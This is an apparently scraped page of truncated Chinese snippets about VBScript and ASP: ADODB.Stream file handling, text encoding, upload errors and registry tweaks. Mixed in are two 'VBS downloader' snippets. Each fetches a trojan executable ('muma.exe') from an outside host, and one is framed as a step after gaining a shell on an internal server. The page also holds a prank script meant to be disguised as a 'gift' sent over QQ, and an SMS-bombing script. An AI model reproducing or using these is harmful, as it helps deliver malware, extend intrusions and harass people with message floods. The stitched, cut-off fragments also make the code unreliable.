Cancel 方法      使用方法如下      Object.Cancel      说明:取消执行挂起的异步 Execute 或 Open 方法的调用.Close   方法      使用方法如下      Object.Close      :关闭对像CopyTo 方法      使用方法如下      Object.CopyTo(destStream,[CharNumber])      说明:将对像的数据复制,destStream指向要复制的对像,CharNumber为可选参数,指

最近研究了一下IE自带的一些Activex控件,可以比较简单的实现断点续传功能 不过这种方式不推荐,因为安全性较低,而且需要修改客户端注册表,调低ie安全配置 还有就是我比较懒,只打算写个思路和几个关键的api功能 断点续传的基本思路如下: 1.客户端计算文件md5值,发送到服务器端校验: 2.服务器端根据客户端发送过来的md5值来确定文件是否存在,并返回文件大小,这样可以确定断点续传的文件开始位置: 3.客户端根据服务器返回的文件开始位置,开始读取文件块,每读取一块就发送给服务器,发送成功则读

读写文本文件时出现了乱码,找到了ADODB.Stream,可以指定字符集读取文本 Function ReadUTF() Filename = "F:\vba\2018 - new\2018-10-29 cad打桩\3 - cad打桩\代码\1.txt" With CreateObject("ADODB.Stream") .Type = '读取文本文件 .Mode = '读写 .Open .LoadFromFile Filename ' .Charset = &quo

asp上传图片提示 ADODB.Stream 错误 '800a0bbc' 有这个提示有很多问题导致.权限是常见一种.这个不多说,还有一个有点怪的就是 windows2008显示系统时间的格式竟然是:2013/3/8,而并非是以前的2013-3-8,由于重命名上传的文件是按时间来命名的,本要求为201338,但到windows2008平台上最后变成了2013/3/8,这样则会有一个问题,就是会被当成文件夹和路径处理,最终会导致了真正的不存在目录,最后会写入出错. 解决办法:经过查看在上传保存文件中

重装更改目录为e盘后,上传文件出现问题.解决方法: 调用adodb.stream的savetofile方法时发生错误, ADODB.Stream 错误 800a0bbc 写入文件失败.(msxml3.dll 800c0005) 原因可能是: 可能需要注册ADODB.Stream组件 regsvr32 "C:\Program Files\Common Files\System\ado\msado15.dll" 及Regsvr32 %windir%\system32\msxml3.dll

读取文件操作: '------------------------------------------------- '函数名称:ReadTextFile '作用:利用AdoDb.Stream对象来读取UTF-8格式的文本文件 '---------------------------------------------------- Function ReadFromTextFile (FileUrl,CharSet)     dim str     set stm=server.CreateO

例如静态化页面的时候 总结:用server.CreateObject("adodb.stream") 来读写比较好,可避免乱码和读取到多余的字符.....不推荐 "scripting.FileSystemObject" 例子:页面接受传入ID参数,在数据库里查找ID的记录 写入内容到HTML文件,先创建一个HTML模板文件如"temp_article.html"的文件,读入好久替换里面的内容标签"[-content-]" &l

最近在做web项目,有个控件是上传材料文件和文件夹,本地运行正常,放到服务器上,一直报错:AutoRuntime服务器无法创建..... 解决方法: 1.配置ie浏览器的安全级别 2.修改ie浏览器对ActiveX的控制,修改ie跨域数据源访问 3.如果还不行,修改注册表 注册表具体修改方法: 1.regedit打开注册表 2.找到local_machine---software---microsoft---internet exporle---下面的第二项(具体可以百度)中,对值进行修改,一般

Response.Write LoadTxtFile("URL") Function LoadTxtFile(LoadFile) Dim XMLHTTP, XMLDOC, ResponseStrm 'LoadFile = ServerName & LoadFile Set XMLHTTP = CreateObject("MSXML2.DOMDocument") XMLHTTP.async = false XMLHTTP.setProperty("S

背景: 近期帮一个公司做第三方API的二次封装,需要部署到该公司网站.所获取的是Json数据格式.由于该公司原系统采用的ASP+VBS技术方案,因此采用VBS对API进行请求.封装. 实现: 废话不多说,直接上代码.由于某些原因,不能将所有代码贴出来,有问题的可以留言. <!--#include file="LibJson.asp"--> <script Language="jscript" runat="server">

在网上查找资料的时候发现好多经典的vbs代码收集起来也为了以后学习. VBS播放音乐 Dim wmp Set wmp = CreateObject("WMPlayer.OCX") wmp.openState wmp.URL = "想象之中.mp3" Do Until wmp.playState = 1 WScript.Sleep 1000 Loop 比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了) Set shell=CreateObje

MsgBox "兄弟呀,你最近是否失眠",vbinformation Randomize() Dim a a=Int(rnd*2) Select Case a Case 0 MsgBox ("我也是这样啊``````") Case 1 MsgBox ("(-.-),同是天涯失眠人.") Case 2 MsgBox ("(~.~),还是说你没有失眠") End select MsgBox ("告诉你一个祖传秘方&quo

<% ''/*******************************二进制文件操作类************************************ ''/*作者:死在水中的鱼(死鱼) ''/*日期:2004年9月7日 ''/*BLOG: http://blog.csdn.net/bpfish ''/* ''/*用法: ''/*Dim obj,sData,iPos,iSize ''/*Set obj=new FileClass ''/*obj.OpenFile "文件绝对路径

短信轰炸.vbs Dim btn,ie Set ie = WScript.CreateObject("InternetExplorer.Application") ie.Visible = true '若为false,则不显示浏览器 ie.navigate "http://www.dooccn.com/php7/#id/53e57045ca9d15fe" 'http://www.dooccn.com/php7/#id/f16690b98a87d61c72e8a09f

使用vbs脚本进行批量编码转换 最近需要使用SourceInsight查看分析在Linux系统下开发的项目代码,我们知道Linux系统中文本文件默认编码格式是UTF-8,而Windows中文系统中的默认编码格式是Gb2312.系统内的编码格式有所区别倒无伤大雅,关键的是SourceInsight竟不支持UTF-8,导致项目代码内的中文注释全部乱码! 既然SourceInsight不支持UTF-8编码的文件,那我们就得想办法将UTF-8的代码文件转化为GB2312编码的.首先想到的是到网上搜一下“

本文还是折腾安装包期间衍生出来的产物. 我那安装包在安装期间有这个动作: - 让用户填写一些信息,待安装完成后把这些信息写入软件安装目录中的指定ini.xml文件中 上文说的是如何用vbs写ini,ini搞完了,这下搞xml.本来借助xml完善的DOM实现,包括vbs在内的大多数语言操作xml都很容易,调用Microsoft.XMLDOM对象即可,比如: Dim doc Set doc = CreateObject("Microsoft.XMLDOM") doc.load("

一.VBS下载者: Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.03389.com/muma.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode

vbs实现的支持拖动的txt文本切割器 作者: 字体:[增加 减小] 类型:转载 时间:2008-06-20我要评论 用vbs实现的txt文本文件切割器,默认为8000个字符切为一个文件.支持拖动. SplitFile.vbs '/*=========================================================================    ' * Intro       .txt文本切割器,默认为8000个字符切为一个文件.支持拖动.    ' * 

当拿到shell到手,服务器是内网,你又没有条件映射,服务器又穿不上东西 是不是很郁闷,还有我们还有vbs,能执行cmd命令就有希望 一.VBS下载者: 复制代码 代码如下: Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://www.jbzj.com/muma.exe"

原文http://slore.blogbus.com/logs/52627038.htmlSlore编写的这个reg文件转换为bat文件,是逐句转换的,不是通过批处理生成临时reg文件然后导入的方法,很不错.我做了以下修改:1.修改openfile函数,用SelectFile( )代替,原函数中Set objDialog = CreateObject("UserAccounts.CommonDialog")只支持XP,WIN7下没有选择文件的对话框,不方便,修改之后的VBS代码支持XP